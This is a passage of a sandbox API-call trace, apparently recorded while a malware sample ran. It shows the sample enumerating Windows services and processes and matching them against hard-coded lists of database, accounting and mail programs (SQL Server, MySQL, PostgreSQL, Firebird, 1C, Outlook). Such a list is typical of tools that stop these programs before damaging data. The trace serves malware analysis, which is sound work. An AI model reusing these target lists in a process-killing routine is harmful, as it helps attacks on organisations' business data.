(lpString1="mssqlserver", lpString2="Power") returned -1 [0058.629] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0058.630] lstrlenW (lpString="ProfSvc") returned 7 [0058.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0058.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0058.630] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0058.630] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0058.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0058.630] lstrlenW (lpString="RpcEptMapper") returned 12 [0058.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0058.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0058.630] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0058.630] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0058.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0058.630] lstrlenW (lpString="RpcSs") returned 5 [0058.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0058.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0058.630] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0058.630] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0058.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0058.630] lstrlenW (lpString="SamSs") returned 5 [0058.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0058.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0058.630] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0058.630] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0058.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0058.630] lstrlenW (lpString="Schedule") returned 8 [0058.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0058.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0058.630] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0058.630] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0058.630] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0058.630] lstrlenW (lpString="SENS") returned 4 [0058.630] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0058.630] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0058.631] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0058.631] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0058.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0058.631] lstrlenW (lpString="ShellHWDetection") returned 16 [0058.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0058.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0058.631] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0058.631] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0058.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0058.631] lstrlenW (lpString="Spooler") returned 7 [0058.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0058.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0058.631] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0058.631] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0058.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0058.631] lstrlenW (lpString="swprv") returned 5 [0058.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0058.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0058.631] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0058.631] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0058.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0058.631] lstrlenW (lpString="SysMain") returned 7 [0058.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0058.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0058.631] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0058.631] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0058.631] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0058.631] lstrlenW (lpString="Themes") returned 6 [0058.631] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0058.631] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0058.631] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0058.631] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0058.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0058.632] lstrlenW (lpString="TrkWks") returned 6 [0058.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0058.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0058.632] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0058.632] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0058.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0058.632] lstrlenW (lpString="UxSms") returned 5 [0058.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0058.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0058.632] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0058.632] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0058.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0058.632] lstrlenW (lpString="VSS") returned 3 [0058.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0058.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0058.632] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0058.632] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0058.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0058.632] lstrlenW (lpString="WdiServiceHost") returned 14 [0058.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0058.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0058.632] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0058.632] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0058.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0058.632] lstrlenW (lpString="WdiSystemHost") returned 13 [0058.632] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0058.632] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0058.632] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0058.632] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0058.632] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0058.632] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0058.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0058.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0058.633] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0058.633] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0058.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0058.633] lstrlenW (lpString="Winmgmt") returned 7 [0058.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0058.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0058.633] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0058.633] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0058.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0058.633] lstrlenW (lpString="WPDBusEnum") returned 10 [0058.633] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0058.633] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0058.633] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0058.633] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0058.633] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0058.633] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x5a5d28 | out: hHeap=0x4b0000) returned 1 [0058.633] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x214 [0058.635] Process32FirstW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0058.636] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0058.637] lstrlenW (lpString="System") returned 6 [0058.637] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0058.637] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0058.637] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0058.637] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0058.637] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0058.637] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0058.637] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0058.637] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0058.637] lstrlenW (lpString="smss.exe") returned 8 [0058.638] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0058.638] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0058.638] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0058.638] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0058.638] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0058.638] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0058.638] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0058.638] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0058.638] lstrlenW (lpString="csrss.exe") returned 9 [0058.638] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0058.638] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0058.638] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0058.638] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0058.638] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0058.638] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0058.639] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0058.639] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0058.639] lstrlenW (lpString="wininit.exe") returned 11 [0058.639] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0058.639] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0058.639] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0058.639] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0058.640] lstrlenW (lpString="csrss.exe") returned 9 [0058.640] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0058.641] lstrlenW (lpString="winlogon.exe") returned 12 [0058.641] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0058.642] lstrlenW (lpString="services.exe") returned 12 [0058.642] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0058.642] lstrlenW (lpString="lsass.exe") returned 9 [0058.642] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0058.643] lstrlenW (lpString="lsm.exe") returned 7 [0058.643] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.644] lstrlenW (lpString="svchost.exe") returned 11 [0058.644] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.644] lstrlenW (lpString="svchost.exe") returned 11 [0058.644] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.645] lstrlenW (lpString="svchost.exe") returned 11 [0058.645] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.646] lstrlenW (lpString="svchost.exe") returned 11 [0058.646] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x32, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.646] lstrlenW (lpString="svchost.exe") returned 11 [0058.646] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0058.647] lstrlenW (lpString="audiodg.exe") returned 11 [0058.647] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.648] lstrlenW (lpString="svchost.exe") returned 11 [0058.648] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.648] lstrlenW (lpString="svchost.exe") returned 11 [0058.648] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0058.649] lstrlenW (lpString="dwm.exe") returned 7 [0058.649] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0058.650] lstrlenW (lpString="explorer.exe") returned 12 [0058.650] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0058.650] lstrlenW (lpString="spoolsv.exe") returned 11 [0058.650] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0058.651] lstrlenW (lpString="taskhost.exe") returned 12 [0058.651] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0058.652] lstrlenW (lpString="svchost.exe") returned 11 [0058.652] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0058.652] lstrlenW (lpString="taskeng.exe") returned 11 [0058.652] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0058.653] lstrlenW (lpString="taskhost.exe") returned 12 [0058.653] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chem venues.exe")) returned 1 [0058.654] lstrlenW (lpString="chem venues.exe") returned 15 [0058.654] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x61c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="month.exe")) returned 1 [0058.654] lstrlenW (lpString="month.exe") returned 9 [0058.654] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="glasgow.exe")) returned 1 [0058.655] lstrlenW (lpString="glasgow.exe") returned 11 [0058.655] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="rubber.exe")) returned 1 [0058.783] lstrlenW (lpString="rubber.exe") returned 10 [0058.783] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="petroleum.exe")) returned 1 [0058.784] lstrlenW (lpString="petroleum.exe") returned 13 [0058.784] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalyst-ps-grammar.exe")) returned 1 [0058.785] lstrlenW (lpString="catalyst-ps-grammar.exe") returned 23 [0058.785] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="serve-collaboration-semiconductor.exe")) returned 1 [0058.785] lstrlenW (lpString="serve-collaboration-semiconductor.exe") returned 37 [0058.785] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="batman_oliver.exe")) returned 1 [0058.786] lstrlenW (lpString="batman_oliver.exe") returned 17 [0058.786] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="formation.exe")) returned 1 [0058.787] lstrlenW (lpString="formation.exe") returned 13 [0058.787] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x780, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="whole.exe")) returned 1 [0058.787] lstrlenW (lpString="whole.exe") returned 9 [0058.787] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pollution dominican rural.exe")) returned 1 [0058.788] lstrlenW (lpString="pollution dominican rural.exe") returned 29 [0058.788] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="disorder.exe")) returned 1 [0058.789] lstrlenW (lpString="disorder.exe") returned 12 [0058.789] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="expenseselsewhere.exe")) returned 1 [0058.789] lstrlenW (lpString="expenseselsewhere.exe") returned 21 [0058.789] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nextel-feeds.exe")) returned 1 [0058.790] lstrlenW (lpString="nextel-feeds.exe") returned 16 [0058.790] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="photographymiscellaneousmeters.exe")) returned 1 [0058.791] lstrlenW (lpString="photographymiscellaneousmeters.exe") returned 34 [0058.791] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="perspective.exe")) returned 1 [0058.791] lstrlenW (lpString="perspective.exe") returned 15 [0058.791] Process32NextW (in: hSnapshot=0x214, lppe=0x219fd34 | out: lppe=0x219fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="demand-site.exe")) returned 1 [0058.792] 